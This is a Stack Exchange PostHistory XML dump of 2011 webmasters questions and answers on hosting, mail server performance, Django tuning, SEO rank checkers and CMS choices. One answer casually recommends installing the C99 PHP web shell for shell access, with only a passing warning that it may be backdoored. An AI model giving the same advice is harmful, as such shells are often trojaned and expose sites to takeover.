  <row Id="29193" PostHistoryTypeId="3" PostId="12763" RevisionGUID="a8e5f1b4-fac8-4b9b-96de-50ea55bef707" CreationDate="2011-04-20T21:46:12.743" UserDisplayName="user717941" Text="&lt;linux&gt;&lt;web-hosting&gt;" />
  <row Id="29194" PostHistoryTypeId="17" PostId="12763" RevisionGUID="2522600a-5792-481c-ac14-3248ef79a5ba" CreationDate="2011-04-21T21:31:49.430" UserId="-1" Comment="from http://stackoverflow.com/questions/5737021/can-i-use-clamav-on-a-shared-hosting" Text="" />
  <row Id="29195" PostHistoryTypeId="2" PostId="12764" RevisionGUID="8f528bc6-d6e8-46b2-a427-9214eaefaeb3" CreationDate="2011-04-20T13:04:16.210" UserDisplayName="Heitor" Text="I have 3 dedicated servers: 1 for App (PHP, Python), 1 for Databases (MySQL) and 1 for MTA (Postfix)&#xD;&#xA;&#xD;&#xA;I'm using Interspire Email Marketer for mailing, and I'm having something like 20k mails / hour performance.&#xD;&#xA;&#xD;&#xA;Searching over the internet I saw that is possible to get this to 80k or 100k / hour.&#xD;&#xA;&#xD;&#xA;I guess I'll just reach that with some tweeks on Postfix+Dovecot.&#xD;&#xA;&#xD;&#xA;Does anyone knows what can I do to improve my sending performance?&#xD;&#xA;&#xD;&#xA;Thx!" />
  <row Id="29196" PostHistoryTypeId="1" PostId="12764" RevisionGUID="8f528bc6-d6e8-46b2-a427-9214eaefaeb3" CreationDate="2011-04-20T13:04:16.210" UserDisplayName="Heitor" Text="How to improve Postfix+Dovecot performance?" />
  <row Id="29197" PostHistoryTypeId="3" PostId="12764" RevisionGUID="8f528bc6-d6e8-46b2-a427-9214eaefaeb3" CreationDate="2011-04-20T13:04:16.210" UserDisplayName="Heitor" Text="&lt;performance&gt;&lt;email&gt;" />
  <row Id="29198" PostHistoryTypeId="17" PostId="12764" RevisionGUID="42495382-c58b-4423-9626-adbbc2156e3a" CreationDate="2011-04-21T21:32:30.507" UserId="-1" Comment="from http://stackoverflow.com/questions/5730777/how-to-improve-postfixdovecot-performance" Text="" />
  <row Id="29199" PostHistoryTypeId="2" PostId="12765" RevisionGUID="470f78aa-b8b1-415e-8abb-e593076b1d1b" CreationDate="2011-04-21T22:58:18.497" UserId="6113" Text="You may want to check [Media Temple][1]. Their [DV][2] service should have everything you need and is easily scalable.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://mediatemple.net/&#xD;&#xA;  [2]: http://mediatemple.net/webhosting/dv/" />
  <row Id="29200" PostHistoryTypeId="25" PostId="12758" RevisionGUID="41161cd3-9f98-4e13-850c-5b3c431ce2a1" CreationDate="2011-04-22T00:09:17.687" Comment="http://twitter.com/#!/StackWebmasters/status/61219990535290880" />
  <row Id="29201" PostHistoryTypeId="2" PostId="12766" RevisionGUID="8778bd27-2b23-4496-9e0b-05058d218c0b" CreationDate="2011-04-22T01:05:13.737" UserId="1253" Text="1. No&#xD;&#xA;&#xD;&#xA;2. Probably not. It needs to run on the server so unless there is a way to run it virtually, I'm not a hosting guru but I'm pretty sure there's not, you won't be able to do this unless you get a dedicated box or VPS." />
  <row Id="29202" PostHistoryTypeId="2" PostId="12767" RevisionGUID="6ccb2610-0246-4cbc-acf7-2523c9d3cacd" CreationDate="2011-04-22T01:07:53.933" UserId="-1" Text="" />
  <row Id="29203" PostHistoryTypeId="2" PostId="12768" RevisionGUID="2e984481-27b6-4242-a85a-6bb6ec281552" CreationDate="2011-04-22T01:07:53.933" UserId="-1" Text="" />
  <row Id="29204" PostHistoryTypeId="5" PostId="12767" RevisionGUID="1edd13ac-72d5-44ca-ba36-7b67f521dd65" CreationDate="2011-04-22T01:08:25.187" UserId="4461" Comment="added 1167 characters in body" Text="Page-Speed of a web-page can be broken down into several distinct aspects:&#xD;&#xA;&#xD;&#xA; - Initial Request - comprising of the DNS request, the socket connection and the transmitting of the first byte&#xD;&#xA; - Start Render - when a first non-white element is introduced to the page, often referred to as the start of page &quot;paint&quot;&#xD;&#xA; - Document Complete - when the core elements of the page are loaded so that user interaction can be performed&#xD;&#xA; - Fully Loaded - when every element requested has been loaded and presented - no more data is requested and all painting has been finalized.&#xD;&#xA;&#xD;&#xA;Measuring of page-speed can be a complex task as there are many variables at play, and small intricacies such as the number and loading order of requests, asynchronous requests, compression, caching and so on all have an impact.&#xD;&#xA;&#xD;&#xA;While Page-Speed has been a User Experience (UX) issue for some time, it was recently announced as a factor in Google's ranking algorithm which has spurred greater interest and focus on the topic.&#xD;&#xA;&#xD;&#xA;More information:&#xD;&#xA;&#xD;&#xA; - http://www.webperformancecentral.com/wiki/WebPagetest/Page_Metrics&#xD;&#xA; - http://code.google.com/speed/page-speed/docs/rules_intro.html&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="29205" PostHistoryTypeId="24" PostId="12767" RevisionGUID="1edd13ac-72d5-44ca-ba36-7b67f521dd65" CreationDate="2011-04-22T01:08:25.187" Comment="Proposed by 4461 approved by 1253 edit id of 222" />
  <row Id="29206" PostHistoryTypeId="5" PostId="12768" RevisionGUID="8498f1f3-2c82-454c-981f-a6267ce3ee3f" CreationDate="2011-04-22T01:08:27.823" UserId="4461" Comment="added 118 characters in body" Text="Page-Speed normally refers to the time it takes for a web-page to be presented to a browser in a &quot;fully loaded&quot; state." />
  <row Id="29207" PostHistoryTypeId="24" PostId="12768" RevisionGUID="8498f1f3-2c82-454c-981f-a6267ce3ee3f" CreationDate="2011-04-22T01:08:27.823" Comment="Proposed by 4461 approved by 1253 edit id of 223" />
  <row Id="29208" PostHistoryTypeId="4" PostId="12763" RevisionGUID="89801132-2e62-4578-b529-392dff54c368" CreationDate="2011-04-22T01:30:17.360" UserId="1253" Comment="added &quot;godaddy&quot; tag, improved title" Text="Can I use ClamAV on GoDaddy shared hosting?" />
  <row Id="29209" PostHistoryTypeId="6" PostId="12763" RevisionGUID="89801132-2e62-4578-b529-392dff54c368" CreationDate="2011-04-22T01:30:17.360" UserId="1253" Comment="added &quot;godaddy&quot; tag, improved title" Text="&lt;web-hosting&gt;&lt;godaddy&gt;&lt;linux&gt;" />
  <row Id="29210" PostHistoryTypeId="2" PostId="12769" RevisionGUID="26b503c1-3344-4098-864f-f9860a357cdf" CreationDate="2011-04-22T01:44:52.547" UserId="7019" Text="Have you tried FTP/SFTP? SSH may be disabled, but if you had FTP, you can create directories and upload files. This could be labor intensive, but I've worked with software that supported this use case. Good luck!" />
  <row Id="29211" PostHistoryTypeId="2" PostId="12770" RevisionGUID="6930685c-fdb4-4922-8cc6-bc14f9012fe8" CreationDate="2011-04-22T01:56:22.967" UserId="3514" Text="You could attempt to use the [exec()][1] function in php, which will attempt to run the action inside the exec function. It would take a lot longer than SSH, and it might not work (hosts can disable it), but it's an option.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://php.net/manual/en/function.exec.php" />
  <row Id="29212" PostHistoryTypeId="2" PostId="12771" RevisionGUID="35d9c196-a1fa-4a8a-9ff2-0a24a35debf5" CreationDate="2011-04-21T21:21:16.120" UserDisplayName="Ranbles" Text="I'm new to linux and I'm attempting to setup a server on Linode. Using ubuntu and attempting to setup wordpress with a lot of snags. At the moment I setup a FTP server on this box and am able to login and view the files and upload. All that good stuff is working, but when I upload and index page and go to the server address in my browser it still has the default &quot;It Works! The web server software is running but no content has been added, yet.&quot; page. Why is it not loading my index? Any help is appreciated." />
  <row Id="29213" PostHistoryTypeId="1" PostId="12771" RevisionGUID="35d9c196-a1fa-4a8a-9ff2-0a24a35debf5" CreationDate="2011-04-21T21:21:16.120" UserDisplayName="Ranbles" Text="FTP issue. Files are uploading but when going to them they don't show up." />
  <row Id="29214" PostHistoryTypeId="3" PostId="12771" RevisionGUID="35d9c196-a1fa-4a8a-9ff2-0a24a35debf5" CreationDate="2011-04-21T21:21:16.120" UserDisplayName="Ranbles" Text="&lt;linux&gt;&lt;wordpress&gt;&lt;ubuntu&gt;" />
  <row Id="29215" PostHistoryTypeId="17" PostId="12771" RevisionGUID="85934195-7932-4599-a387-5345626527c3" CreationDate="2011-04-22T02:15:35.900" UserId="-1" Comment="from http://stackoverflow.com/questions/5749912/ftp-issue-files-are-uploading-but-when-going-to-them-they-dont-show-up" Text="" />
  <row Id="29216" PostHistoryTypeId="2" PostId="12772" RevisionGUID="ddcaaf68-9aef-433a-9748-a07e280b1cbe" CreationDate="2011-04-22T02:33:16.597" UserId="7020" Text="My setup is django 1.3 and the default mod_wsgi and apache packages for ubuntu 10.04. I tested one view of my app on my development VM (DEBUG and debugging toolbar off):&#xD;&#xA;&#xD;&#xA;    ab -n 200 -c 5 http://127.0.0.1/&#xD;&#xA;&#xD;&#xA;and got 4 requests per second. This seemed slow so I simplified the queries, used indexes, etc. to the point where debugging toolbar tells me I have 4 queries taking 8ms. Running the same test, I only get 8 requests per second. The CPU seems to be at 100% the whole time. This seems quite slow for what is now a quite simple view, but it is just a low powered VM.&#xD;&#xA;&#xD;&#xA;I decided to start up a large ec2 instance (4 cpu) to see what kind of performance I would get on that class of machine and was surprised to only get 13 requests per second. How can I change the configuration of apache/mod_wsgi to get more performance out of this class of machine?&#xD;&#xA;&#xD;&#xA;I think I am using worker rather than prefork:&#xD;&#xA;&#xD;&#xA;    $ /usr/sbin/apache2 -l&#xD;&#xA;    Compiled in modules:&#xD;&#xA;      core.c&#xD;&#xA;      mod_log_config.c&#xD;&#xA;      mod_logio.c&#xD;&#xA;      worker.c&#xD;&#xA;      http_core.c&#xD;&#xA;      mod_so.c&#xD;&#xA;&#xD;&#xA;My worker configuration is:&#xD;&#xA;&#xD;&#xA;    &lt;IfModule mpm_worker_module&gt;&#xD;&#xA;        StartServers          2   &#xD;&#xA;        MinSpareThreads      25  &#xD;&#xA;        MaxSpareThreads      75  &#xD;&#xA;        ThreadLimit          64  &#xD;&#xA;        ThreadsPerChild      25  &#xD;&#xA;        MaxClients          150 &#xD;&#xA;        MaxRequestsPerChild   0   &#xD;&#xA;    &lt;/IfModule&gt;&#xD;&#xA;&#xD;&#xA;and my WSGI settings look like this:&#xD;&#xA;&#xD;&#xA;    WSGIScriptAlias / /home/blah/site/proj/wsgi.py&#xD;&#xA;    WSGIDaemonProcess blah user=blah group=blah processes=1 threads=10&#xD;&#xA;    WSGIProcessGroup blah&#xD;&#xA;&#xD;&#xA;Thanks very much for your help!&#xD;&#xA;&#xD;&#xA;NOTE: I tried the ab test from another instance and got the same result&#xD;&#xA;&#xD;&#xA;NOTE: I posted this on [ServerFault][1] before I was aware of this site&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://serverfault.com/questions/262108/speeding-up-django-server" />
  <row Id="29217" PostHistoryTypeId="1" PostId="12772" RevisionGUID="ddcaaf68-9aef-433a-9748-a07e280b1cbe" CreationDate="2011-04-22T02:33:16.597" UserId="7020" Text="speeding up django server" />
  <row Id="29218" PostHistoryTypeId="3" PostId="12772" RevisionGUID="ddcaaf68-9aef-433a-9748-a07e280b1cbe" CreationDate="2011-04-22T02:33:16.597" UserId="7020" Text="&lt;apache&gt;&lt;performance&gt;&lt;django&gt;" />
  <row Id="29219" PostHistoryTypeId="25" PostId="12772" RevisionGUID="5853756d-a672-4fd0-a0e5-ab2e590a7f0d" CreationDate="2011-04-22T03:09:17.680" Comment="http://twitter.com/#!/StackWebmasters/status/61265289354035200" />
  <row Id="29220" PostHistoryTypeId="2" PostId="12773" RevisionGUID="4b0b269d-d029-49bf-8f0a-eccf333afb0f" CreationDate="2011-04-22T05:47:54.680" UserId="7022" Text="Exactly there is no &quot;keyword density&quot; it is a old myth. &#xD;&#xA;There is no difference between pages only difference between links types.&#xD;&#xA;anchor text links or links from graphical element with alt text, do-follow or on-follow .....ect&#xD;&#xA;&#xD;&#xA;" />
  <row Id="29221" PostHistoryTypeId="2" PostId="12774" RevisionGUID="3f67ac67-d7c0-4dd0-a735-90f0f06c405f" CreationDate="2011-04-22T05:54:33.413" UserId="7022" Text="Taking under consideration your budget it will be very hard to find decent tool.&#xD;&#xA;However I would recommend Market Samurai and look for some promo codes on the Interenet (i think i saw 50% code somewhere) and Traffic Travis (basic version free). " />
  <row Id="29222" PostHistoryTypeId="2" PostId="12775" RevisionGUID="13ffdf7f-8091-43b2-8ab7-8d8bc5e393a4" CreationDate="2011-04-21T22:10:34.510" UserId="6593" Text="We're into eLearning and have developed a number of quizzes for various courses.&#xD;&#xA;&#xD;&#xA;Now we are looking for a CMS/system which could do something like this - &#xD;&#xA;&#xD;&#xA; - Allow us to create accounts for&#xD;&#xA;   clients. Once an account is created&#xD;&#xA;   and quizzes are in place rest should&#xD;&#xA;   be driven by our clients.  &#xD;&#xA; - Clients should be able to choose how many employees/students they wish to enroll for a particular quiz.&#xD;&#xA; - Client&#xD;&#xA;   should be able to choose a fixed&#xD;&#xA;   number of questions from a set of&#xD;&#xA;   questions already in the quiz,&#xD;&#xA;   duration and should be able to set&#xD;&#xA;   pass rates for their&#xD;&#xA;   employees/students.  &#xD;&#xA; - As soon as their&#xD;&#xA;   employees/student completes an exam,&#xD;&#xA;   client should get an email with&#xD;&#xA;   pass/fail rate.&#xD;&#xA;&#xD;&#xA;Wondering if there is any CMS which has functionality near to what I discussed above?&#xD;&#xA;" />
  <row Id="29223" PostHistoryTypeId="1" PostId="12775" RevisionGUID="13ffdf7f-8091-43b2-8ab7-8d8bc5e393a4" CreationDate="2011-04-21T22:10:34.510" UserId="6593" Text="CMS for Managing Quizzes" />
  <row Id="29224" PostHistoryTypeId="3" PostId="12775" RevisionGUID="13ffdf7f-8091-43b2-8ab7-8d8bc5e393a4" CreationDate="2011-04-21T22:10:34.510" UserId="6593" Text="&lt;cms&gt;" />
  <row Id="29225" PostHistoryTypeId="17" PostId="12775" RevisionGUID="32cd9848-464b-41d2-a7cc-25af38807a2d" CreationDate="2011-04-22T06:07:12.400" UserId="-1" Comment="from http://programmers.stackexchange.com/questions/70375/cms-for-managing-quizzes" Text="" />
  <row Id="29226" PostHistoryTypeId="25" PostId="12745" RevisionGUID="9d47db1e-ffb1-4a5b-bd7b-1ed85b6f0577" CreationDate="2011-04-22T06:09:17.730" Comment="http://twitter.com/#!/StackWebmasters/status/61310587241639936" />
  <row Id="29227" PostHistoryTypeId="5" PostId="5422" RevisionGUID="0750c7bd-6adc-411b-b6ef-a900d922c32e" CreationDate="2011-04-22T06:29:52.053" UserId="6973" Comment="copyedit, complete sentence based on first sentence" Text="###The subdomains will not affect SEO, but my concern would be managing multiple WordPress installations.&#xD;&#xA;&#xD;&#xA;&gt; What makes most sense to me with this&#xD;&#xA;&gt; setup is using multiple Wordpress&#xD;&#xA;&gt; installations, one for each subdomain,&#xD;&#xA;&gt; and interlink between them with the&#xD;&#xA;&gt; menus and trackbacks/pings.&#xD;&#xA;&#xD;&#xA;###[WordPress 3.0 allows you to create a network of sites][1] using 1 installation and 1 database. Which would solve the issue of managing multiple WordPress installations&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://codex.wordpress.org/Create_A_Network" />
  <row Id="29228" PostHistoryTypeId="24" PostId="5422" RevisionGUID="0750c7bd-6adc-411b-b6ef-a900d922c32e" CreationDate="2011-04-22T06:29:52.053" Comment="Proposed by 6973 approved by 1064 edit id of 224" />
  <row Id="29229" PostHistoryTypeId="2" PostId="12776" RevisionGUID="2fc61105-7ffe-4632-9476-18d217d0e04f" CreationDate="2011-04-22T06:36:00.927" UserId="5034" Text="try ajaxterm or C99 shell (make sure the latter one is not backdoored thou)" />
  <row Id="29230" PostHistoryTypeId="2" PostId="12777" RevisionGUID="0057f95d-77f5-4a35-8cd3-c6c55c98ac59" CreationDate="2011-04-22T07:14:17.523" UserId="7024" Text="I'm hosting my website on google app engine and my domain name on godaddy.&#xD;&#xA;Google app engine does not allow you to have naked URLs.   &#xD;&#xA;So it doesn't allow you to have example.com but does allow you to have www.example.com&#xD;&#xA;&#xD;&#xA;I can easily enable forwarding in godaddy to forward exmample.com to www.example.com however it does not keep the relative URL path.&#xD;&#xA;&#xD;&#xA;For example I would like for:&#xD;&#xA;example.com/images/3.jpg to be forwarded to www.example.com/images/3.jpg and not just www.example.com." />
  <row Id="29231" PostHistoryTypeId="1" PostId="12777" RevisionGUID="0057f95d-77f5-4a35-8cd3-c6c55c98ac59" CreationDate="2011-04-22T07:14:17.523" UserId="7024" Text="godaddy url forwarding while keeping relative path" />
  <row Id="29232" PostHistoryTypeId="3" PostId="12777" RevisionGUID="0057f95d-77f5-4a35-8cd3-c6c55c98ac59" CreationDate="2011-04-22T07:14:17.523" UserId="7024" Text="&lt;domains&gt;&lt;godaddy&gt;&lt;google-app-engine&gt;" />
  <row Id="29236" PostHistoryTypeId="2" PostId="12779" RevisionGUID="7da2d811-f657-44c6-bb92-2971d04f54f9" CreationDate="2011-04-22T07:19:28.427" UserId="3312" Text="Are there any risks in using a Google SERP tracking service?  I mean in terms of possible penalisation for the tracked site?  Probably not, but since Google seems to be getting terribly touchy about many things, I thought I'd ask." />
  <row Id="29237" PostHistoryTypeId="1" PostId="12779" RevisionGUID="7da2d811-f657-44c6-bb92-2971d04f54f9" CreationDate="2011-04-22T07:19:28.427" UserId="3312" Text="Are there any risks involved in using Google SERP tracker services?" />
  <row Id="29238" PostHistoryTypeId="3" PostId="12779" RevisionGUID="7da2d811-f657-44c6-bb92-2971d04f54f9" CreationDate="2011-04-22T07:19:28.427" UserId="3312" Text="&lt;seo&gt;&lt;google&gt;" />
  <row Id="29239" PostHistoryTypeId="5" PostId="12465" RevisionGUID="ae455cfe-4e44-4519-be6e-9be9a0870ebd" CreationDate="2011-04-22T08:18:26.447" UserId="6955" Comment="added 265 characters in body; edited tags" Text="I am basically looking for a cheap hosting provider to host a Call of Duty game server in India. But this is not a localized question actually as you will see when you go through the complete question.&#xD;&#xA;&#xD;&#xA;**Essential Features**   &#xD;&#xA;&#xD;&#xA;- The server *must* be physically located in India otherwise gaming experience is very poor due to the large delay/ping. Your enemy does not get killed even if it looks like your bullet hit him. For more details check my question http://gaming.stackexchange.com/questions/15803/good-public-dedicated-call-of-duty-servers-list-for-players-in-india-please&#xD;&#xA;&#xD;&#xA;- The game needs a windows platform. &#xD;&#xA;- The game should be running all the time. &#xD;&#xA;- Not a big issue if the hosting cost is not low. But it should allow me to set up user authentication later so that I can allow only paid users to play and recover the expenses/offer professional paid gaming services. &#xD;&#xA;&#xD;&#xA;**Further details**  &#xD;&#xA;This is basically an effort to solve the problem of absence of dedicated-public multiplayer game servers in India. This is not a problem specific to India but to many geographies of the world where gaming culture is not mature yet. For more details check this question and see if you can help there - &#xD;&#xA;&#xD;&#xA;http://gaming.stackexchange.com/questions/20233/ideas-or-solutions-to-resolve-the-issue-of-absence-of-local-dedicated-public-mult&#xD;&#xA;&#xD;&#xA;Even http://www.gametracker.com does not have any listed dedicated servers in India, nor does it offer hosting for one.&#xD;&#xA;&#xD;&#xA;**Questions**  &#xD;&#xA;&#xD;&#xA; - What is my best option here. I have no idea what kind of interface I will get if I purchase a windows hosting. I have only worked on Linux hostings, interacted using cpanel etc. &#xD;&#xA; - Is it possible to just purchase a windows hosting and then install games myself, do any authentication I want? &#xD;&#xA; - Additionally, I am also looking some web space to host my personal projects. The projects may go live in near future and I may need to scale up resources. But right now I am just a beginner with no live websites. I basically work on LAMP projects (Linux Apache Mysql PHP). It would be nice if one hosting solves all my requirements. I am very new to hosting fundamentals and it sounds as difficult to me as investments. I checked a lot of questions here like - &#xD;&#xA;&#xD;&#xA;http://webmasters.stackexchange.com/questions/274/how-to-choose-between-web-hosting-and-cloud-hosting&#xD;&#xA;&#xD;&#xA;http://webmasters.stackexchange.com/questions/151/what-should-i-consider-when-choosing-a-hosting-provider&#xD;&#xA;&#xD;&#xA;But I am still clueless. Is Amazon EC2 hosting a possible solution? As per http://aws.amazon.com/ec2/faqs/#What_operating_system_environments_are_supported Windows server as well many linux OS are supported.&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="29240" PostHistoryTypeId="6" PostId="12465" RevisionGUID="ae455cfe-4e44-4519-be6e-9be9a0870ebd" CreationDate="2011-04-22T08:18:26.447" UserId="6955" Comment="added 265 characters in body; edited tags" Text="&lt;web-hosting&gt;&lt;server&gt;&lt;looking-for-hosting&gt;&lt;cloud-hosting&gt;" />
  <row Id="29241" PostHistoryTypeId="2" PostId="12780" RevisionGUID="5d1aaade-28c2-47a6-95d1-0298f7cca352" CreationDate="2011-04-22T08:27:25.373" UserId="5013" Text="When a SERP checker is run, it usually doesn't tell Google what site it's looking for. It just does the search, returns the first 10 or so pages, then the SERP script looks for your site in the list of sites returned.&#xD;&#xA;&#xD;&#xA;All Google would know is the terms being searched for. I SUPPOSE Google could figure out what site the SERP checks by process of elimination. Example:&#xD;&#xA;&#xD;&#xA;A search for &quot;baked goods&quot; returns:&#xD;&#xA;mysite.com&#xD;&#xA;yoursite.com&#xD;&#xA;stackexchange.com&#xD;&#xA;&#xD;&#xA;A search for &quot;cupcakes&quot; returns:&#xD;&#xA;mysite.com&#xD;&#xA;yoursite.com&#xD;&#xA;&#xD;&#xA;A search for &quot;bread&quot; returns:&#xD;&#xA;stackexchange.com&#xD;&#xA;yoursite.com&#xD;&#xA;&#xD;&#xA;Since your site.com shows up on all the lists, perhaps it's the one that belongs to the person checking SERPs. But, it would be highly speculative on Google's part. Furthermore, your site may not show up for the targeted keywords... so that rules out THAT method.&#xD;&#xA;&#xD;&#xA;It's a valid question, though, but I don't think Google cares about SERP checks. I gather they really care about their search results so they focus more manpower on their algorithm to weed out junk sites than monitoring individual sites. " />
  <row Id="29242" PostHistoryTypeId="25" PostId="12779" RevisionGUID="f093fbf1-fe5c-48af-ac39-e1f44699f698" CreationDate="2011-04-22T09:09:17.490" Comment="http://twitter.com/#!/StackWebmasters/status/61355885217325057" />
  <row Id="29243" PostHistoryTypeId="2" PostId="12781" RevisionGUID="606d5c8b-87c8-4e66-a2d0-789112343af6" CreationDate="2011-04-22T09:36:21.703" UserId="6198" Text="hey it looks like you need to go with cloud servers. Thats Amazon or Rackspace. Dont choose any other company.&#xD;&#xA;&#xD;&#xA;I would recommend [Rackspace][1], after knowing that if your server crashes on Amazon, you have a chance to loose data. Also Amazon charges for customer service while they give it free.&#xD;&#xA;&#xD;&#xA;Rackspace provides scalability, and charges per hour rather than per year or month. So if you think your servers have too much load, you can increase the number of servers within minutes to let your users play without interruption.&#xD;&#xA;&#xD;&#xA;When i talked to one of their sales person, he told me that they just give a base OS install. You can choose between many distributions of linux and windows server. Then you can install whatever you want. Their support is also amazing. Also if you want them to install take the managed cloud plan. Their unmanaged cloud servers are for about 1.5 cents per hour, thats $10 per month and their managed plan starts from $200 per month.&#xD;&#xA;&#xD;&#xA;Then I would recommend you to use linux rather than windows because of its stability. If you cant run those games on linux and have to use windows, still no problem, you can host a [WAMP Server][2] there.&#xD;&#xA;&#xD;&#xA;As with rackspace, you can install anything, so you can install your own control panel whichever you want.&#xD;&#xA;&#xD;&#xA;Last thing is please dont host it in india. I also live in India, and have used one hosting comapny in india which was **absolutely crap**. I would recommend you to go with cloud servers and provide Content Distribution Networks for faster response.&#xD;&#xA;&#xD;&#xA;One note: the company i had hosted with was [2GBHosting.com][3]. Please dont host with them even if you want to host it in india. Also dont host with [GoDaddy.com][4] cause they are also bad in hosting. I'm experiencing problems with them too.&#xD;&#xA;&#xD;&#xA;Have a talk with with [Rackspace][5] before you choose your hosting.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://rackspace.com&#xD;&#xA;  [2]: http://www.wampserver.com/en/&#xD;&#xA;  [3]: http://2gbhosting.com&#xD;&#xA;  [4]: http://godaddy.com&#xD;&#xA;  [5]: http://rackspace.com" />
  <row Id="29244" PostHistoryTypeId="2" PostId="12782" RevisionGUID="ee763c7a-3a06-4e9c-832c-007592a2fa64" CreationDate="2011-04-22T09:43:51.080" UserId="4502" Text="&lt;a href=&quot;http://www.wazala.com/&quot;&gt;Wazala&lt;/a&gt;'s lowest pricing tier is ten bucks a month.  &#xD;&#xA;&#xD;&#xA;If a monthly fee is completely unacceptable(come on), they also have a free plan which is limited to 5 items and has a couple other restrictions that may or may not be important to you." />
  <row Id="29245" PostHistoryTypeId="2" PostId="12783" RevisionGUID="2b20db22-695a-440b-8280-ba54b4b91a4e" CreationDate="2011-04-22T09:49:41.650" UserId="4502" Text="You might look at &lt;a href=&quot;http://www.wazala.com/&quot;&gt;Wazala&lt;/a&gt;. It's very easy to set up and by default is intended to be used in a sort of &quot;lightbox&quot; interface, so there's minimal work required to even integrated it with an existing site. It _can_ also be accessed as a page, if that's desired instead." />
  <row Id="29246" PostHistoryTypeId="2" PostId="12784" RevisionGUID="7e030391-bdef-4885-9c72-94c1d46fef4e" CreationDate="2011-04-22T09:53:52.877" UserId="6198" Text="hey moodle is one good cms which will help you.&#xD;&#xA;and if you want to have everything what you want,then go and make a simple CMS for yourself in PHP or any other web develpment language." />
  <row Id="29247" PostHistoryTypeId="5" PostId="12781" RevisionGUID="30193ac2-d18f-4933-971d-c30056530dfe" CreationDate="2011-04-22T10:01:10.687" UserId="6198" Comment="added 130 characters in body" Text="hey it looks like you need to go with cloud servers. Thats Amazon or Rackspace. Dont choose any other company.&#xD;&#xA;&#xD;&#xA;I would recommend [Rackspace][1], after knowing that if your server crashes on Amazon, you have a chance to loose data. Also Amazon charges for customer service while they give it free.&#xD;&#xA;&#xD;&#xA;Rackspace provides scalability, and charges per hour rather than per year or month. So if you think your servers have too much load, you can increase the number of servers within minutes to let your users play without interruption.&#xD;&#xA;&#xD;&#xA;When i talked to one of their sales person, he told me that they just give a base OS install. You can choose between many distributions of linux and windows server. Then you can install whatever you want. Their support is also amazing. Also if you want them to install take the managed cloud plan. Their unmanaged cloud servers are for about 1.5 cents per hour, thats $10 per month and their managed plan starts from $200 per month.&#xD;&#xA;&#xD;&#xA;Then I would recommend you to use linux rather than windows because of its stability. If you cant run those games on linux and have to use windows, still no problem, you can host a [WAMP Server][2] there.&#xD;&#xA;&#xD;&#xA;As with rackspace, you can install anything, so you can install your own control panel whichever you want.&#xD;&#xA;&#xD;&#xA;Last thing is please dont host it in india. I also live in India, and have used one hosting comapny in india which was **absolutely crap**. I would recommend you to go with cloud servers and provide Content Distribution Networks for faster response.&#xD;&#xA;&#xD;&#xA;One note: the company i had hosted with was [2GBHosting.com][3]. Please dont host with them even if you want to host it in india. Also dont host with [GoDaddy.com][4] cause they are also bad in hosting. I'm experiencing problems with them too.&#xD;&#xA;&#xD;&#xA;One Thing: I'm just suggesting you, not marketing for any company, and this is based on my experience. Hope it helps you... :D&#xD;&#xA;&#xD;&#xA;Have a talk with with [Rackspace][5] before you choose your hosting.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://rackspace.com&#xD;&#xA;  [2]: http://www.wampserver.com/en/&#xD;&#xA;  [3]: http://2gbhosting.com&#xD;&#xA;  [4]: http://godaddy.com&#xD;&#xA;  [5]: http://rackspace.com" />
  <row Id="29248" PostHistoryTypeId="2" PostId="12785" RevisionGUID="58873a4b-0f54-4e66-9d0c-0d1b54cbd495" CreationDate="2011-04-22T10:14:48.950" UserId="6355" Text="**Blogs are tipically public content** mediums, so I would reflect if a blog is the best solution for your family closed content. &#xD;&#xA;&#xD;&#xA;An excellent blog post can take hours to write and most family members generally will not want to spend so much time producing content for a small, although important, audience. Another problem is that due to the semi-professional and public nature of blogs, blog engines require some learning to use properly, and your family members may not want to spend time doing it.&#xD;&#xA;&#xD;&#xA;**What solutions for a family project?**&#xD;&#xA;&#xD;&#xA;I would suggest other forms of presenting content such as a microblog. status.net is an open source php script that you can use to create your private microblog (or public microblog), limiting posts to 140 characters or any other number you want. To see what status.net can do, I would suggest to look at the public http://identi.ca/ as an example of a status.net blog.&#xD;&#xA;&#xD;&#xA;The easiest solution is to use one of the **existing social networks**. Many of your family members may already have a **Facebook** account and are used to Facebook user interface, so you can create a Facebook **closed group**.&#xD;&#xA;&#xD;&#xA;**Other options** are a mail-list, a forum or a private photo gallery.&#xD;&#xA;&#xD;&#xA;I also agree with Bevan above on **Drupal**. But Drupal is a professional content management system for professional websites. Because it's so flexible, you will have to spend a lot of time configuring it for this purpose.&#xD;&#xA;" />
  <row Id="29249" PostHistoryTypeId="2" PostId="12786" RevisionGUID="270bb8b8-922c-466f-8cf2-493e2963445d" CreationDate="2011-04-22T11:02:31.877" UserId="1064" Text="If you choose to use unauthorized rank checking programs (what's wrong with [Google Webmaster Tools][1]?) you are violating the Google Terms of Service:&#xD;&#xA;&#xD;&#xA;&gt; Don't use unauthorized computer&#xD;&#xA;&gt; programs to submit pages, check&#xD;&#xA;&gt; rankings, etc. Such programs consume&#xD;&#xA;&gt; computing resources and violate our&#xD;&#xA;&gt; Terms of Service. Google does not&#xD;&#xA;&gt; recommend the use of products such as&#xD;&#xA;&gt; WebPosition Gold™ that send automatic&#xD;&#xA;&gt; or programmatic queries to Google.&#xD;&#xA;&#xD;&#xA;[Google Webmaster Guidelines][2]&#xD;&#xA;&#xD;&#xA;At the very least, expect the rank checker's results to be unreliable - remember, Google offers [personalized search][3] (which your rank checker will not factor in).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?answer=34432&amp;topic=8524&#xD;&#xA;  [2]: http://www.google.com/support/webmasters/bin/answer.py?answer=35769&#xD;&#xA;  [3]: https://www.google.com/accounts/ServiceLogin?hl=en&amp;continue=https://www.google.com/psearch&amp;nui=1&amp;service=hist" />
